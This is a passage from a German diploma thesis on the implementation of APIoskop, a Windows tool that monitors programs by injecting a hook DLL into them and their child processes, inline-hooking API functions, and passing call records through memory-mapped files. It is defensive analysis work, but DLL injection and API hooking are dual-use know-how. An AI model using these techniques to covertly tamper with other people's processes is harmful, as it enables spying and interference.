66 Kapitel 4. APIoskop zur Hand. Das API-Hooking wurde mit einem Paket namens MadCodeHook [Rau] von Mathias Rauen realisiert. Dieses Paket bietet alle wichtigen Funktionen, die zum Injizieren einer Bibliothek und zum Installieren der Hooks notwendig sind. Zur Zeit der Diplomarbeit wurde MadCodeHook in verschiedenen Versionen angeboten. Neben verschiedenen kostenpflichtigen Lizenzen existiert auch eine Freeware-Version. Die Einschränkung der letzteren besteht darin, dass man nur eine Programmbibliothek madchook.dll erhält, welche die gebotenen Funktionen exportiert. Zur Implementierung von APIoskop wurde diese kostenlose Version gewählt. Aus diesem Grund müssen neben APIoskop auch die überwachten Programme Zugriff auf die Bibliothek madchook.dll haben. Dies liegt daran, dass die überwachten Programme die HookLibrary laden und in deren Initialisierungsabschnitt Funktionen verwendet werden, welche wiederum die Bibliothek madchook.dll exportiert. Also muss stets dafür gesorgt sein, dass sich die madchook.dll im Suchpfad von Windows befindet oder im gleichen Verzeichnis wie die überwachten Programme Interprozesskommunikation Sobald die injizierte HookLibrary einen Aufruf einer gehookten Funktion bemerkt, muss sie das Hauptprogramm von APIoskop benachrichtigen, damit dieses den Funktionsaufruf in die Ausgabeliste eintragen kann. Windows ist aber so konzipiert, dass es Prozessen von Anwenderprogrammen nicht ohne weiteres gestattet ist, Speicherbereiche, die von anderen Prozessen reserviert sind, zu verändern. Aus Sicherheitsgründen werden Prozesse strikt voneinander getrennt, um so die Stabilität von Programmen, beziehungsweise des Gesamtsystems, vor Abstürzen und Fehlern anderer Programme zu schützen. Damit zwei verschiedene Prozesse dennoch miteinander kommunizieren können, existieren mehrere Methoden der Interprozesskommunikation (engl.: Inter Process Communication, IPC). Weitere Informationen zur IPC finden sich in einem Buch von Jochen Liedtke [Lie98]. Auch für die von der HookLibrary gesendeten Informationen besteht das Problem, dass diese über Prozessgrenzen hinweg verschickt werden müssen. Dies liegt daran, dass sich die HookLibrary im Prozesskontext eines fremden Prozesses befindet, während APIoskop einen eigenständigen Prozess darstellt. Für die Implementierung von APIoskop wurde eine Methode der IPC gewählt, die mit Memory Mapped Files (MMF) arbeitet. Diese Methode bietet eine hohe Performance bei dem Datenaustausch, ist aber nur anwendbar bei Prozessen, die auf einem System laufen. Dies stellt aber kein Problem dar, da dies bei dem zu überwachenden Prozess und APIoskop der Fall ist. Wie der Name Memory Mapped Files schon andeutet, sind dies Dateien, die im Speicher abgebildet werden. Solch eine Abbildung lässt sich mit der Funktion CreateFileMapping erstellen, und mit der Funktion MapViewOfFile können Prozesse diese in ihren Adressraum projizieren. Wenn nun mehrere Prozesse dieselbe MMF in ihren Adressraum projiziert haben, so können die Prozesse alle lesend und schreibend auf deren Inhalt zugreifen. Auf diese Art können sie miteinander kommunizieren. Allerdings muss darauf geachtet werden, dass diese Zugriffe streng synchronisiert ablaufen, da es 52

67 4.4. Implementierung sonst zu inkonsistenten Zuständen kommen kann und eine verlässliche Kommunikation nicht gewährleistet ist. Bevor mit APIoskop eine Überwachung gestartet wird, erstellt dieses als erstes ein MMF. Danach wird die HookLibrary in den zu überwachenden Prozess injiziert. Nachdem sie vollständig von diesem Prozess geladen wurde, wird sofort anschließend ihr Initialisierungsabschnitt ausgeführt. Und in diesem veranlasst sie den Prozess dazu, das zuvor erstellte MMF in seinen Adressraum zu projizieren (siehe Kapitel ). Ab nun ist über dieses MMF eine Kommunikation zwischen der HookLibrary und APIoskop möglich. Zur vollständigen Übermittlung der Benachrichtigungen werden noch weitere Objekte als nur das MMF benötigt. Innerhalb von APIoskop wird ein Puffer benutzt, in dem zuerst alle erhaltenen Nachrichten zwischengespeichert werden. Dieser Puffer ist als Queue implementiert, um die Reihenfolge der empfangenen Benachrichtigungen aufrecht zu erhalten. Das bedeutet, dass er dem Warteschlangen-Prinzip folgt: Neue Benachrichtigungen werden hinten eingefügt, und die Benachrichtigungen, welche in die Ausgabeliste eingetragen werden sollen, werden am vorderen Ende entnommen, wo sich die ältesten empfangenen Benachrichtigungen befinden. Wenn der Inhalt eines MMF durch einen Prozess verändert wurde, so muss dieser Prozess seine Kommunikationspartner auf diese Veränderung hinweisen. Ansonsten würden diese nichts von den Änderungen erfahren und diese im schlechtesten Fall mit eigenen Informationen, die sie übermitteln wollen, überschreiben. Eine oft verwendete Möglichkeit, darauf hinzuweisen, dass neue Daten in dem MMF stehen, ist, dass die beteiligten Prozesse Threads erstellen, welche auf eine Signalisierung eines Events warten. Dieser Event wird gefeuert, sobald ein Prozess eine Änderung am MMF vorgenommen hat. Auch bei APIoskop ist für das Auslesen des MMF ein Thread zuständig. Im weiteren Verlauf dieses Kapitels wird dieser Thread als MMF-Thread bezeichnet und ist in der Abbildung 4.7 leicht bläulich dargestellt. Er wird immer dann aktiv, wenn er durch ein globales Event signalisiert bekommt, dass eine neue Benachrichtigung in das MMF geschrieben wurde. Sobald er diese Benachrichtigung komplett ausgelesen hat, fügt er sie in die Queue von APIoskop ein. Am Ende eines jeden solchen Arbeitsschrittes löst er einen weiteren Event aus. Der Zugriff auf das MMF wird durch einen Mutex synchronisiert. Dies ist wie bereits erwähnt nötig, da ansonsten inkonsistente Zustände erreicht werden können. Jeder Thread, der eine gehookte Funktion aufruft, greift über die HookLibrary auf das MMF zu. Außerdem liest der MMF-Thread das MMF aus. Situationen, in denen beispielsweise ein Thread des überwachten Prozesses das MMF mit neuen Daten füllt, während der MMF-Thread noch nicht alle alten Daten eines vorherigen Funktionsaufrufs ausgelesen hat, werden durch den verwendeten Mutex ausgeschlossen. Auf diese Weise wird ein wechselseitiger Ausschluss der betroffenen Threads aus dem Bereich um das MMF herum sichergestellt. Das Auslesen der Queue übernimmt ein weiterer Thread. Im weiteren Verlauf dieses Kapitels wird dieser Thread als Queue-Thread bezeichnet und ist in der Abbildung 4.7 leicht grünlich dargestellt. Aktiv wird dieser Thread, sobald er durch den vom MMF- Thread gefeuerten Event darauf hingewiesen wird, dass sich mindestens eine neue Be- 53

68 Kapitel 4. APIoskop nachrichtigung im Queue befindet. Daraufhin überträgt er solange die Benachrichtigungen aus der Queue in die Ausgabeliste, bis die Queue leer ist. APIoskop Ausgabeliste Queue-Thread OnEvent(2): Schreibe in Ausgabeliste Queue Zu überwachender Prozess DLL mit Hook- Funktionen Schreibe in MMF SetEvent(1) OnEvent(2) OnEvent(1): MMF-Thread 1) Lese MMF 2) Schreibe in Queue 3) SetEvent(2) hfunction ObjectName PID InjectionTime pastsec5 Comment. Memory Mapped File Mutex Abbildung 4.7.: Interprozesskommunikation zwischen APIoskop und der HookLibrary Der Umweg über die Queue wird deshalb genommen, weil es so möglich ist, in erster Linie dafür zu sorgen, dass das MMF ausgelesen wird. Da dieses lediglich eine Benachrichtigung aufnehmen kann und die HookLibrary immer darauf warten muss, dass das MMF ausgelesen wurde, stellt das MMF bezüglich der Kommunikation einen Flaschenhals dar. Die Queue gestattet es nun, primär dafür zu sorgen, dass das MMF ausgelesen wird, während das Einfügen der Benachrichtigungen in die Ausgabeliste, welches wegen noch durchzuführender Berechnungen und Formatierungen zeitintensiver als das Auslesen des MMFs ist, der Queue-Thread übernimmt. Abbildung 4.7 zeigt ein Schema, das die Interprozesskommunikation zwischen APIoskop und der HookLibrary skizziert. Die gesamte Kommunikation lässt sich in verschiedene Schritte unterteilen: 1. Sobald die HookLibrary einen Aufruf einer gehookten Funktion registriert, wartet sie auf die Freigabe des Mutexes, welcher die Synchronisation des MMFs sicherstellt. 2. Bekommt die HookLibrary Zugriff auf das MMF, schreibt sie die gesammelten Daten in das MMF, löst ein Event Nr. 1 aus, welches dieses Schreiben signalisiert und wartet auf ein Event Nr. 2, das bedeutet, dass die geschriebenen Informationen gelesen wurden. 54

69 4.4. Implementierung 3. Wird dem MMF-Thread durch das Event Nr. 1 signalisiert, dass neue Daten im MMF stehen, so liest er diese und fügt sie an das Ende der Queue von APIoskop ein. Anschließend feuert der MMF-Thread das Event Nr. 2 ab, das signalisiert, dass er seine Arbeit erledigt hat. 4. Sobald die HookLibrary bemerkt, dass der MMF-Thread das Event Nr. 2 gefeuert hat, verlässt sie die Funktion, die zum Schreiben des MMF zuständig ist und setzt ihre normale Tätigkeit fort. 5. Der Queue-Thread wartet auf die Signalisierung des Events Nr. 2, welche ihn dazu veranlasst, so lange Benachrichtigungselemente aus der Queue zu lesen und in die Ausgabeliste einzufügen, bis die Queue komplett geleert ist Benachrichtigungsformat Welche Daten die HookLibrary in das MMF schreibt, hängt davon ab, welchen Funktionsaufruf sie registriert hat und dem Hauptprogramm melden möchte. Betrachtet man nur die einzelnen Funktionsbereiche, so ist bereits zu erkennen, dass für die Funktionen aus diesen einzelnen Bereichen unterschiedliche Daten übermittelt werden müssen. So ist beispielsweise bei Netzwerkfunktionen die IP-Adresse des beteiligten Hosts interessant, wohingegen bei Funktionen aus dem Bereich der Registryfunktionen der Name des verwendeten Registryschlüssels eine entscheidende Rolle spielt. Der Einfachheit halber wird für jede Funktionsbenachrichtigung jedoch nur ein Format verwendet. Dieses bietet Platz für alle möglichen Informationen. Eine Übersicht über die Daten, welche mittels dieses Formats übertragen werden können, bietet Tabelle 4.2. In dieser Tabelle sind zwei Datentypen zu finden. Der Typ, der für die Übertragung der Daten genutzt wird, ist der strukturelle Typ TLogData. Hinter jedem Feldnamen sind jeweils der Typ des Feldes und der von diesem Typ benötigte Speicherbedarf angegeben. Ein ShortString besteht aus maximal 255 Zeichen, welche einen Speicherbedarf von je einem Byte haben, und einem Zeichen, in dem die Länge des Strings gespeichert ist. Dieses benötigt ebenfalls ein Byte, so dass im schlechtesten Fall der gesamte String 256 Byte im Speicher belegt. Innerhalb von TLogData befindet sich ein Feld, welches vom Typ TMyTime ist. Der Vollständigkeit halber ist dieser selbst deklarierte Typ ebenfalls in der Tabelle zu finden. Alles in allem beträgt die maximale Größe der übermittelten Nachricht also 1060 Byte. Diese wird allerdings nie erreicht, weil dafür eine gehookte Funktion existieren müsste, für die man alle diese Informationen übermitteln müsste. Da solch eine Funktion aber nicht existiert, ist der Overhead, der durch die Verwendung eines solchen universellen Nachrichtentyps entsteht, vernachlässigbar klein. Die einzelnen Felder des Typs TLogData haben folgende Bedeutungen: hfunction: Jede gehookte Funktion wird durch einen numerischen Wert repräsentiert. An diesem orientiert sich die Reihenfolge der Ausgabeliste, wenn diese nach Funktionsnamen sortiert werden soll. ObjectName: In diesem Feld wird für Dateisystemfunktionen ein Dateiname, für Registryfunktionen ein Schlüsselname und für Prozessfunktionen ein Prozessname 55

70 Kapitel 4. APIoskop TMyTime = record whour: Word; (2 Byte) wminute: Word; (2 Byte) wsecond: Word; (2 Byte) wmilliseconds: Word; (2 Byte) end; ( = 8 Byte) TLogData = record hfunction: Byte; (1 Byte) ObjectName: ShortString; (max. 256 Byte) PID: Cardinal; (4 Byte) InjectionTime: TMyTime; (8 Byte) pastsec5: Cardinal; (4 Byte) Comment: ShortString; (max. 256 Byte) PostProcessing: Byte; (1 Byte) IP: Cardinal; (4 Byte) Port: Word; (2 Byte) SendRecvedBytes: Integer; (4 Byte) Address: Cardinal; (4 Byte) usedpid: Cardinal; (4 Byte) RegValue: ShortString; (max. 256 Byte) RegType: ShortString; (max. 256 Byte) end; ( = max Byte) Tabelle 4.2.: Nachrichtenformat von APIoskop übertragen. PID: Die Prozess-ID des Prozesses, der den registrierten Funktionsaufruf ausgelöst hat. InjectionTime: Zeit, zu der die HookLibrary injiziert wurde. pastsec5: Anzahl der Zehntel Millisekunden seit der Injektion. Comment: In diesem Feld wird optional ein Kommentar zu dem Funktionsaufruf übertragen. PostProcessing: Flag, welches dem Hauptprogramm signalisiert, wie es diesen Funktionsaufruf weiter zu bearbeiten hat, bevor er in die Ausgabeliste eingetragen wird. Mögliche Werte: PPR_SYMTOLOGIC: Bildet symbolische Objektnamen (Inhalt von ObjectName) auf logische Objektnamen ab (z. B.: \Device\HarddiskVolume0\ APIoskop.exe C:\APIoskop.exe) PPR_IPTODN: Bildet aus einer IP-Adresse den Hostnamen. PPR_ADDDN: Fügt die IP-Adresse einer verwendeten Struktur hinzu, die 56

71 4.4. Implementierung für die umgekehrte Namensauflösung verantwortlich ist. IP: In diesem Feld wird ein numerischer Repräsentant einer IP-Adresse übertragen. Dieses Feld wird für alle Netzwerkfunktionen verwendet. Port: Die Portnummer, welche bei Netzwerkaktivitäten verwendet wird. Wird für fast alle Netzwerkfunktionen verwendet. SendRecvedBytes: Dieses Feld entspricht der Länge der gesendeten oder empfangenen Daten. Es wird für alle Netzwerkfunktionen verwendet, welche das Senden oder Empfangen von Daten veranlassen. Address: Hier wird ein Zeiger auf die gesendeten oder empfangenen Daten hinterlegt. Dieses Feld wird ebenfalls für alle Netzwerkfunktionen verwendet, welche das Senden oder Empfangen von Daten veranlassen. usedpid: Wenn eine Prozessfunktion geloggt wird, steht in diesem Feld die ID des Prozesses, der Ziel beziehungsweise Gegenstand dieser Funktion ist. RegValue: Bei Registryfunktionen wird in diesem Feld der Wert des Registryschlüssels in Form eines Strings eingetragen. RegType: Bei Registryfunktionen wird in diesem Feld der Typ des Registryschlüssels in Form eines Strings eingetragen Die Funktion Log Innerhalb der HookLibrary existiert eine Funktion mit dem Namen Log. Diese wird von den einzelnen Hook-Funktionen verwendet, wenn sie das MMF mit den gesammelten Informationen über einen Funktionsaufruf füllen möchten. Als Argumente erwartet sie die Felder des Typs TLogData, welche in Tabelle 4.2 dargestellt sind. Einzige Ausnahmen bilden die Felder PID und InjectionTime. Da deren Werte für alle Funktionsaufrufe eines Threads, und dies auch zu jeder Zeit der Überwachung, gleich sind, müssen sie der Funktion Log nicht übergeben werden. Festgehalten werden die Werte dieser beiden Felder sofort nach der Injektion der HookLibrary in deren Initialisierungsabschnitt. Jedes Mal, wenn die Funktion Log die ihr übergebenen Informationen in das MMF schreibt, benutzt sie auch diese beiden Werte, um das MMF vollständig zu füllen. Wie bereits erwähnt, besteht die Aufgabe dieser Funktion darin, das MMF mit den gesammelten Informationen über einen Funktionsaufruf zu füllen. Abbildung 4.8 zeigt die wichtigsten Ausschnitte der Funktion, die deren Arbeitsweise verdeutlicht. Für diese Verdeutlichung unwichtige Zeilen fehlen in der Abbildung und sind durch drei Punkte gekennzeichnet. Bevor die Informationen in das MMF geschrieben werden können, wartet die Funktion Log in Zeile 21 zuerst auf die Freigabe des Mutexes, der die Synchronisation des MMF sicherstellt. Ist dieser nicht mehr blockiert, so wird in der Zeile 23 das MMF in den Adressraum projiziert und in den Zeilen 25 bis 39 mit den 14 Feldern des Benachrichtigungsformats (siehe Kapitel ) gefüllt. Anschließend wird in der Zeile 40 ein Event 57

72 Kapitel 4. APIoskop function Log(hFunction:. RegType: Byte; ShortString): Boolean; var LogData = ^TLogData; begin. Result := False; if WaitForSingleObject(hMMFWriteMutex, INFINITE) = WAIT_OBJECT_0 then try LogData := MapViewOfFile(hFileMapping, FILE_MAP_ALL_ACCESS, 0, 0, 0); LogData^.hFunction := hfunction;. LogData^.RegType := RegType; SetEvent(hSendEvent); if WaitForSingleObject(hReadDoneEvent, INFINITE) = WAIT_OBJECT_0 then Result := True else Result := False; finally if LogData <> nil then UnmapViewOfFile(LogData); ReleaseMutex(hMMFWriteMutex); end;. end; Abbildung 4.8.: Funktion Log gefeuert, welches den MMF-Thread weckt (im Kapitel als Event Nr. 1 abgekürzt). Anschließend wird so lange gewartet, bis der MMF-Thread das MMF ausgelesen hat. Dies bekommt die Funktion Log durch ein Event signalisiert, welches im Kapitel als Event Nr. 2 abgekürzt wurde. Am Ende der Funktion wird sichergestellt, dass das MMF wieder aus dem Adressraum ausgeblendet wird und der Mutex um das MMF herum freigegeben wird Parameterübergabe In den Einstellungen von APIoskop kann der Benutzer, wie erwähnt, festlegen, welche Funktionsaufrufe der Windows API überwacht werden sollen. Diese Informationen werden von der HookLibrary benötigt, damit diese entscheiden kann, welche Hooks zu installieren sind und welche nicht. Ebenso verhält es sich mit der Option, ob Folgeaufrufe innerhalb einer Aufrufkette mitprotokolliert werden sollen. Auch diese Information muss der HookLibrary während ihrer Überwachungsaktivität vorliegen. Für die Übertragung dieser Daten vom Hauptprogramm zur HookLibrary wird, wie auch schon für die Benachrichtigung über Aufrufe gehookter Funktionen, ein Memory Mapped File verwendet. In diesem werden Daten des Formats PParameter hinterlegt, welches in Tabelle 4.3 zu sehen ist. Nachdem der Benutzer über das Einstellungsfenster ausgewählt hat, welche Funktionen er überwachen lassen möchte, generiert APIoskop aus diesen Angaben eine Zei- 58

73 4.4. Implementierung TParameter = record WhichOneToHook: ConsecutivelyCalls: DLLPath: end; ShortString; Boolean; ShortString; PParameter = ^TParameter; Tabelle 4.3.: Datentyp für die Parameterübergabe chenkette. In dieser steht jedes Zeichen für eine der Funktionen, die gehookt werden können. Die Länge der Zeichenkette entspricht also genau der Anzahl der Funktionen, die APIoskop zu überwachen im Stande ist. Wenn eine Funktion überwacht werden soll, so bekommt das Zeichen an der entsprechenden Stelle der Zeichenkette den Wert 1. Soll die Funktion jedoch nicht überwacht werden, so wird der Inhalt der Zeichenkette an der entsprechenden Stelle auf 0 gesetzt. Bevor eine Überwachung gestartet wird, sei es die Überwachung eines einzelnen Prozesses oder auch die Überwachung von Office-Dokumenten, wird das MMF zur Parameterübergabe erstellt und mit Daten gefüllt. Das Feld WhichOneToHook bekommt den Inhalt der eben erstellten Zeichenkette zugewiesen, das Feld ConsecutivelyCalls entspricht dem aktuellen Status der Option Folgeaufrufe mitprotokollieren des Einstellungsfensters, und in dem Feld DLLPath wird der vollständige Pfad zur HookLibrary übergeben. Die HookLibrary benötigt den Pfad zu sich selber für die Hook-Funktionen, in denen ein neuer Prozess erstellt werden soll. Da APIoskop automatisch auch alle Kindprozesse des Zielprozesses überwacht, muss dafür gesorgt werden, dass auch in diese die HookLibrary injiziert wird. Genau dafür benötigt die HookLibrary den vollständigen Pfad zu sich selber. Ein Beispiel für eine Hook-Funktion, welche einen neuen Prozess erzeugt, ist die Funktion CreateProcessW_Callback, welche in Abbildung 4.12 zu sehen ist. In Zeile 15 und 37 wird hier der Wert des Feldes DLLPath benutzt, um daraus den vollständigen Pfad inklusive Dateinamen der HookLibrary zu generieren. Diese Angabe erwartet die Funktion InjectLibrary als Argument, um dann letztendlich die Injektion durchzuführen. Der Grund für die Verwendung eines zweiten Memory Mapped Files, anstelle des bereits bestehenden, welches zur Übermittlung der Informationen über die Funktionsaufrufe benutzt wird, liegt in der automatischen Überwachung der Kindprozesse. Jedes Mal, wenn ein neuer Prozess erstellt wird und dieser die HookLibrary in seinen Adressraum einblendet, wird deren Initialisierungsabschnitt abgearbeitet. In diesem beschafft sich die HookLibrary dann die Angaben (Parameter), welche sie für ihre Aufgaben benötigt. Würde nun das bereits bestehende MMF für die Parameterübergabe verwendet, so ist nicht sichergestellt, dass sich die Parameter noch in diesem MMF befinden, da sie bereits durch Informationen über einen möglichen Funktionsaufruf überschrieben sein könnten. Dieses zweite MMF beinhaltet die Parameter für die gesamte Dauer einer Überwachung. Wie bereits in Kapitel angedeutet, lassen sich die Einstellungen von APIoskop 59

74 Kapitel 4. APIoskop nur ändern, sofern aktuell keine Überwachung stattfindet. Dies liegt an dem Zeitpunkt, zu dem die HookLibrary die Parameter ausliest. Da dies immer in deren Initialisierungsabschnitt geschieht, ändert sich das Verhalten der HookLibrary auch erst dann, wenn dieser abgearbeitet wird. Insofern würde es keinen Sinn machen, während einer laufenden Überwachung beispielsweise andere Funktionen zur Überwachung zu selektieren, weil dies keine Auswirkungen nach sich ziehen würde Hook-Funktionen Dieses Kapitel beschäftigt sich mit den Hook-Funktionen der HookLibrary. Zu Beginn dieses Kapitels wird der Initialisierungsabschnitt der HookLibrary vorgestellt. Innerhalb dieses Abschnitts werden die von der HookLibrary benötigten Datenstrukturen initialisiert, und es werden die einzelnen Hook-Funktionen in den Programmablauf des zu überwachenden Programm eingehängt. Der Aufbau ist bei allen Hook-Funktionen sehr ähnlich, und da hier nicht alle Hook- Funktionen vorgestellt werden können, wird deren Implementierung dem Leser exemplarisch an drei ausgewählten Hook-Funktionen näher gebracht. Im Verlauf dieses Kapitels werden die Hook-Funktionen ReadFile, RecvFrom und CreateProcess gezeigt, die jeweils alle aus einem unterschiedlichen der vier untersuchten Funktionsbereiche stammen. Eine genaue Auflistung aller gehookten Funktionen befindet sich im Anhang dieser Diplomarbeit. Oft stellt sich das Extrahieren der Informationen aus den Argumenten der Hook- Funktionen als nicht so einfach dar. Viele API-Funktionen (und damit auch die Hook- Funktionen) bekommen einen Teil ihrer Argumente nur in Form von Handles übergeben. Windows ist so konzipiert, dass intern Datenobjekte, auf und mit denen Windows und Anwendungen arbeiten, durch numerische Identifikatoren gekennzeichnet sind. Diese Identifikatoren nennt man Handles, und sie werden für alle möglichen Datenobjekte verwendet. So existieren beispielsweise FileHandles (Kennzeichnung einer Datei), KeyHandles (Kennzeichnung eines Registryschlüssels) oder auch ProcessHandles (Kennzeichnung eines Prozesses). Eine Aufgabe von APIoskop besteht auch darin, aus diesen Kennzeichnern Informationen zu gewinnen, welche für den Benutzer von APIoskop besser verständlich sind und die dann letztendlich in die Ausgabeliste eingetragen werden. Welche Schritte dazu nötig sind, wird exemplarisch anhand zweier Beispiele in den Kapiteln und gezeigt Initialisierungsabschnitt der HookLibrary In dem Initialisierungsabschnitt einer Bibliothek kann diese ihre eigenen Datenstrukturen und Objekte initialisieren. Die HookLibrary von APIoskop nutzt diesen Abschnitt unter anderem zum Installieren der einzelnen Hooks. Der Initialisierungsabschnitt ist normalerweise in einer Funktion der Bibliothek untergebracht, welche bei unterschiedlichen Ereignissen vom Windows Loader ausgeführt wird. Als Argument bekommt diese Funktion ein Flag übergeben, das ihr mitteilt, welches Ereignis der Grund für ihren Aufruf war. Die vier möglichen Werte dieses Flags und die ihnen entsprechenden Ereignisse 60

75 4.4. Implementierung sind die folgenden [Kos02]: 1. DLL_PROCESS_ATTACH: Die Bibliothek wird in den Adressraum eines Prozesses eingeblendet. Dies geschieht beim expliziten Laden der Bibliothek durch die Funktion LoadLibrary(Ex) oder beim Start des Prozesses, wenn die Bibliothek implizit geladen wird. 2. DLL_PROCESS_DETACH: Die Bibliothek wird aus dem Adressraum eines Prozesses ausgeblendet. Dies kann beispielsweise durch einen Aufruf der Funktion FreeLibrary geschehen oder weil der zugehörige Prozess beendet wurde. 3. DLL_THREAD_ATTACH: Der Prozess, welcher die Bibliothek geladen hat, erstellt einen Thread. 4. DLL_THREAD_DETACH: Der Prozess, welcher die Bibliothek geladen hat, stoppt einen Thread. Der für die Initialisierung der HookLibrary interessante Wert ist DLL_PROCESS_ATTACH. Wird der oben angesprochenen Funktion dieses Flag übergeben, so wurde die HookLibrary unmittelbar zuvor in einen Prozess geladen. Während der Initialisierung der HookLibrary wird der Code ausgeführt, welcher in Abbildung 4.9 zu sehen ist CurrentPID := GetCurrentProcessID; RegKeyList := TIntStrBuffer.Create(...); // Parameterübergabe hfmparameter := OpenFileMapping(FILE_MAP_ALL_ACCESS, False, FMParameterName); ParameterData := MapViewOfFile(hFMParameter, FILE_MAP_ALL_ACCESS, 0, 0, 0); WhichOneToHook := ParameterData^.WhichOneToHook; bconsecutivelycalls := ParameterData^.ConsecutivelyCalls; DLLPath := ParameterData^.DLLPath; UnmapViewOfFile(ParameterData); hfilemapping := OpenFileMapping(FILE_MAP_ALL_ACCESS, False, FileMappingName); hmmfwritemutex := CreateMutex( nil, False, MMFWriteMutexName); hsendevent := OpenEvent(EVENT_MODIFY_STATE, False, SendEventName); hreaddoneevent := OpenEvent(EVENT_MODIFY_STATE, False, ReadDoneEventName); // Zeit-Stuff GetLocalTime(dummyTime); InjectionTime.wHour := dummytime.whour; InjectionTime.wMinute := dummytime.wminute; InjectionTime.wSecond := dummytime.wsecond; InjectionTime.wMilliseconds := dummytime.wmilliseconds; QueryPerformanceCounter(StartQPC);. CollectHooks; if WhichOneToHook[FKT_NtCreateFile] = '1' then HookAPI( if WhichOneToHook[FKT_TerminateProcess] = '1' then HookAPI( FlushHooks; Abbildung 4.9.: Initialisierung der HookLibrary 61

76 Kapitel 4. APIoskop Während der Initialisierung der HookLibrary wird in einem ersten Schritt die ID des Prozesses gespeichert, in dessen Adressraum die HookLibrary eingeblendet wurde. Diese Prozess-ID wird, wie bereits erwähnt, für die spätere Übermittlung der IPC-Nachrichten benötigt. Anschließend wird ein Objekt erstellt, welches dazu dient, ein Keyhandle auf den dazugehörigen Schlüsselnamen abzubilden. Nähere Informationen dazu folgen in Kapitel In den Zeilen 5 bis 10 beschafft sich die HookLibrary Informationen, welche diese für ihre Arbeit benötigt. Diese Informationen werden von dem APIoskop-Hauptprogramm in einem Memory Mapped File hinterlegt und beinhalten größtenteils die Einstellungen von APIoskop. Unter anderem wird in der Variablen WhichOneToHook die Angabe gespeichert, welche API-Funktionen gehookt werden sollen und welche nicht. Die Zeilen 12 bis 15 dienen der Initialisierung der Interprozesskommunikation. Hier besorgt sich die HookLibrary einen Bezeichner für die wesentlichen Komponenten der IPC: - In Zeile 12: Für die Abbildung der (Memory Mapped) Datei in den Speicher, in welcher die IPC-Nachrichten hinterlegt werden. - In Zeile 13: Für den Mutex, der die Synchronisation dieses MMF sicherstellt. - In Zeile 14: Für das Ereignis, welches die HookLibrary auslöst, wenn es Daten in das MMF geschrieben hat, und das den MMF-Thread startet. - In Zeile 15: Für das Ereignis, welches der MMF-Thread auslöst, wenn dieser das MMF ausgelesen hat. Damit innerhalb der IPC-Nachrichten die genaue Uhrzeit übermittelt werden kann, zu der eine bestimmte Hook-Funktion aufgerufen wurde, wird in den Zeilen 18 bis 22 die Injektionszeit festgehalten. Zudem wird in Zeile 23 ein High Performance Counter initialisiert, zu dem sich nähere Informationen im Internet [Cor] finden. In dem restlichen Teil des Initialisierungsabschnitts werden die einzelnen Hooks installiert. Ob eine Funktion gehookt werden soll, hängt von der bereits oben erwähnten Variablen WhichOneToHook ab. Diese Variable ist eine Zeichenkette und enthält für jede überwachbare Funktion entweder das Zeichen 1 oder 0. Deren genaue Struktur und Semantik wurde in Kapitel erläutert. Die Installation eines Hooks wird durch die Funktion HookAPI erreicht, welche aus dem MadCodeHook-Paket stammt und die Hooks mittels der Inline Hooking Technik installiert [Rau]. Dieser werden vier Argumente übergeben. Die ersten beiden kennzeichnen die Funktion, die man hooken möchte. Dazu wird im ersten Argument angegeben, welche Bibliothek diese Funktion exportiert, und im zweiten Argument bekommt HookAPI den genauen Namen der zu hookenden Funktion übergeben. Die letzten beiden Argumente sind Zeiger auf Funktionen. Der erste dieser beiden Zeiger enthält die Adresse der Hook-Funktion. Diese Adresse wird in Verbindung mit einer Sprunganweisung an den Anfang der zu hookenden Funktion geschrieben. Die Instruktionen, welche dadurch überschrieben werden, sichert die Funktion HookAPI am Anfang der Trampolinfunktion, welche durch das zweite Zeigerargument markiert ist (siehe Kapitel 3.3.5). Wurde die zu hookende Funktion vorher schon durch ein anderes Programm gehookt, so wird die Sprunganweisung, welche dieses Programm an den Anfang der Originalfunktion geschrieben hat, in der Trampolinfunktion gesichert. Auf diese 62

77 4.4. Implementierung Weise kann eine ganze Hook-Reihe für eine Funktion entstehen ReadFile Die Funktion ReadFile, exportiert von der Bibliothek Kernel32.dll, liest Daten aus einer Datei. Dies kann sowohl synchron als auch asynchron geschehen. Gelesen werden die Daten ab der Position, auf die der Dateizeiger der zu lesenden Datei aktuell zeigt. Argument hfile lpbuffer nnumberofbytestoread lpnumberofbytesread lpoverlapped Resultat Typ HANDLE LPVOID DWORD LPDWORD LPOVERLAPPED BOOL Tabelle 4.4.: Interface der API-Funktion ReadFile Das Interface dieser API-Funktion ist in Tabelle 4.4 dargestellt. Die Funktion erwartet fünf Argumente und gibt einen booleschen Wert zurück: 1. Ein Dateihandle, welches die zu lesende Datei kennzeichnet. 2. Adresse des Puffers, welcher die gelesenen Daten aufnehmen soll. 3. Anzahl der Zeichen, die maximal gelesen werden sollen. 4. Ein Zeiger, der auf einen numerischen Wert zeigt. Dort wird die Anzahl der tatsächlich gelesenen Zeichen hinterlegt. 5. Ein Zeiger auf eine OVERLAPPED-Struktur. Diese wird zum asynchronen Lesen benötigt. Beim synchronen Lesen ist dieser Zeiger NULL. 6. Diese Funktion gibt TRUE zurück, falls kein Fehler aufgetreten ist, ansonsten FALSE. Möchte man Funktionsaufrufe von ReadFile abfangen und auf eine eigene Hook- Funktion umlenken, so muss diese selbstgeschriebene Funktion dasselbe Funktionspattern besitzen wie die Originalfunktion der API. Die Hook-Funktion, auch Callback- Funktion genannt, die bei der Implementierung von APIoskop verwendet wurde, ist in der Abbildung 4.10 zu sehen. Man sieht, dass die hier verwendete Hook-Funktion die Voraussetzung desselben Funktionspatterns erfüllt. Das zusätzliche Schlüsselwort stdcall sorgt für die korrekte Übergabe der Argumente, da Delphi andere Aufrufkonventionen benutzt als C/C++. Durch die Verwendung dieses Schlüsselworts werden die Argumente von rechts nach links auf den Stack übergeben. Am Anfang der Funktion findet in der Zeile 10 eine Überprüfung statt, ob der Funktionsaufruf überhaupt geloggt werden soll. Dies hängt davon ab, ob der Benutzer in den Einstellungen angegeben hat, ob Folgeaufrufe mitprotokolliert werden sollen oder nicht (siehe Kapitel 4.3.4). Dieser Angabe entspricht der Wert der boole- 63

